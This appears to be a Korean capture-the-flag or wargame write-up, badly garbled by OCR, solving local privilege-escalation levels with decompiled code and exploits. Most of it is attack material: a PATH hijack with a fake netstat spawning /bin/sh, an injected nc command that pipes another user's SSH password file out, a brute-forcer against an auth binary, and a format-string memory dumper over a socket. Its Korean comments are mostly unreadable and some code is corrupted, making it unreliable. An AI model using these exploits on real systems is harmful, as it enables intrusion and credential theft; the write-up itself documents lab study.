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By hahah(kjskes@naver.com)
beistlab(http://beist.org)
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mov [esp+3Ch+var_3(], offset aNetstatAn

call _system
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Z, system("netstat -an"); Qf &2 YWHOZ netstat & T ETIL|LC}. netstat 2| 7|2 X|=
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export PATH=/tmp/.hah:/usr/bin
et 20| otH /tmp/hah Off A= HO|HZ|[SE HdY & UASLCh
3 /tmp/.hah 0 netstat O|2t= O|§2 2 HE XR= Z2IYS WSS CH

//netstat.c
#include <stdio.h>
int main()
{
system("/bin/sh");

return O;
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fgets((char *)&v15, 0xC8u, (FILE *)stdin);
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sprintf((char *)&v16, "/bin/nc %s", &v15);
puts((const char *)&v16);
system((const char *)&v16);
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silly2@ubuntu:~$ ./service_nc

127.0.0.1 11111 </home/silly3/silly3_ssh_password <<<< Q&H3HA
/bin/nc 127.0.0.1 11111 </home/silly3/silly3_ssh_password
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fopen("/home/silly3/pass”, (const char *)&unk_80489D0);



fgets((char *)&v22, 11, v6);

StL|CH 2|3 argv[1]Q] Zo|gHE

/home/silly3/pass LS °'019M1 O E7tof M&s ¢
RS EUAM pass o &1t argv[l] LHES ACMEEH o =AY HlwgtL|Ch 2O o
=AtE H|Wdta, CHECHH

v8 = time(0);
srand(v8);
v9 = rand();

sprintf((char *)&v21, "/tmp/%d", v9);

v27 = fopen((const char *)&v21, "w");

v10 = *(_DWORD *)(v19 + 8); //argv[1]

vll = rand();

fprintf(v27, "fuck no - %d %sWn", v11, v10);
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//silly3ex.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

#include <string.h>



#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
/*val*/
int main(int argc, char *argv[])
{

pid_t pid;

int state;

int t;

int fd;

int len;

int i;

int j;

int count;

char file[100];

char buf[256];

char arg[10];

unsigned char ch=33;

for(i=0x41;i<Ox7b;i++){ /Ll HQ| F=0t brute force & L|CH
count=0;
getchar(); //SAI0] SH= AFZE0| Ot 222 AFNIIH £o2 ol
for (j=0;j<5;j++){
//EA0| St= AtEISO| BEOLM Bh=AtE 5 BN SiE. qrrTrr
memset(arg,0,sizeof(arg));

arg[0]=0x64; //d
arg[1]=0x6E; //n
arg[2]=0x54; //T
arg[3]=0x6¢; //!

arg[4]=0x64; //d
arg[5]=0x6e; //n
arg[6]=0x54; //T
arg[7]=0x6¢; //!

arg[8]=0x6b; //k

/! arg[9]=;

//9 2XE Tot SEHYLICE. 10 HRY S Xt0f| CH brute force & ¢fL|CH~

if(argc==2)
{
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}

i=argv[1][0]; // Ol Al AtES0| BOtM =22

arg[9]=(char)i; //brute force!!

pid=fork(); //fork &2 A&, 222 LiF[0f CHE €S U CH

if(pid <0){

}
if(pid==

printf("fork error");
exit(1);
W //RHA ol ER

execl("/home/silly3/auth”,"/home/silly3/auth”,arg,arg+8 NULL), /=212 AMS=0),
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/larg & QIAtR I AQEQ} HIWSEA, /tmp/0f d7|=

//YM Tt 8 BB 22} brute force st= 2 A2

//AE OOl MAESM k? 7} 20|22 #5517 HAx
exit(0);

memeset(buf,0,sizeof(buf));

memset(file,0,sizeof(file));

t=time(0);

srand(t);

sprintf(file,"/tmp/%d" ,rand()); //auth @} &2 BfAloZ

waitpid(pid,&state,0); //AtA0| ZOM(??)
fd=open(file, O_EXCL,O_RDONLY); //In}t 0| MZi=X|

if(fd <0){
printf("open errn"); //SICHH oOf ..
count++;
}
len=read(fd,bufsizeof(buf));
buf[len]=0;
printf("%x,%s, %sWn",ifilebuf); /ot W22 FL|Ct
sleep(1); /2 W2 ™ mUEO| QHHIEX|E BEL|CH~_~;



}
printf("count %2x, count%d¥n" i,count); //o+= A0 CHslf 5HM SO Z, 5 H

Ct o247t o B%
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//EHE WY 75380

}

return O;
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(perl -€'print"#x80WxfEixfixbf","%7W$sWx0a"")|nc 127.0.0.1 11111

O[ 27 MBI Oxbifff680(read B0 UCHRNO| QU= XIS 2 4 UZ. O3 WAOR
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//11111.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/ineth>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
int main()
{
int sock;
int fd;
char file[]="/tmp/.h4/dump"; //dump It IL|Ct
struct sockaddr_in serv_addr;
int len;
char ip[]="127.0.0.1";
int port=11111;
char buf[100];
char scan[]="%c%c%c%c%%7$sWx0a"; //Z™ AHAZASIY QUBSIF = FTAYUS EX2
SHEAHY FLCH

char att[200];

char ch;

int i

fd=open(file, O_RDWR|O_CREAT); //dump ods ga.

system("chmod 777 /tmp/.h4/dump"); // QIO = EZTHL|Ct
for(i=0x08048000;i<0x0804a000;){ // ®Q| S ZHOLA ZZH0|| ctri+c S2{A
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sock=socket(PF_INET,SOCK_STREAM,0);
if(sock==-1)
printf("sock err#n");

memset(&serv_addr,0,sizeof(serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=inet_addr(ip);

serv_addr.sin_port=htons(port);

if(connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr))==-1)

printf("con errn");

memset(att,0,sizeof(att));
sprintf(att,scan,i&O0xff,(i> > 8) &0xff,(i> > 16) &0xff,(i> > 24)&0xff); //SZA 2
write(sock,att,sizeof(att)); // &l 2!
len=read(sock,buf 4);
if(len==-1){
printf("errr#n"); //read F..

else{
memset(buf,0,sizeof(buf));
len=read(sock,buf,sizeof(buf)-1);
iflen==0){ //3ILtE 2912 AL 3T YX7H NULL o
write(fd,"#x00",1); //NULL € dump ItQof| A1
i+=1 //F2UE 1 7ML L
}
else{
write(fd,buf/len); //4E BtE dump Off A1
i+=len; //F4%4E S7F AMLLCH
printf("%d %d read : %sW#n" lenibuf); //O{HZA A0 E0|=
OFHOQICH NULLES M1 Q=

sleep(1),//HF WEH MH Z0{Q. -
close(sock);

}
close(fd);
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return O;
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sub_804842C(&v15); //fgets
if ( (unsigned int)strlen(&v15, v4, v5) > 0x14 )
sub_804848C(0); //exit
if (1(BYTE)v15)
sub_804848C(0); //exit
*((_BYTE *)&v15 + strlen(&v15, v4, v5) - 1) = 0
result = sub_8048524(&v15);

7| M OFX[2of sub_8048524(&v15)7t i3 &2 ZAES Xelst= A éﬁ'—lﬁf.
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//exec.c
#include <stdio.h>
int main(int argc, char *argv[])
{

char scan[]="(perl -e'printW"#Wx40%sWWx08¥x0aW" cat)|nc 127.0.0.1 11111";

//HY 20| 0x40 & HO{F1 xor &l EAHE1 ""E EO{FLIC

UESHA nc 2 gL o

char att[200];

int ilen;

if(argc!=2)

exit(0);
len=strlen(argv[1]);

for(i=0;i<len;i++){



argv[1][i]*=0x33;//xor At
}
sprintf(att,scan,argv[1]);
system(att);

return O;
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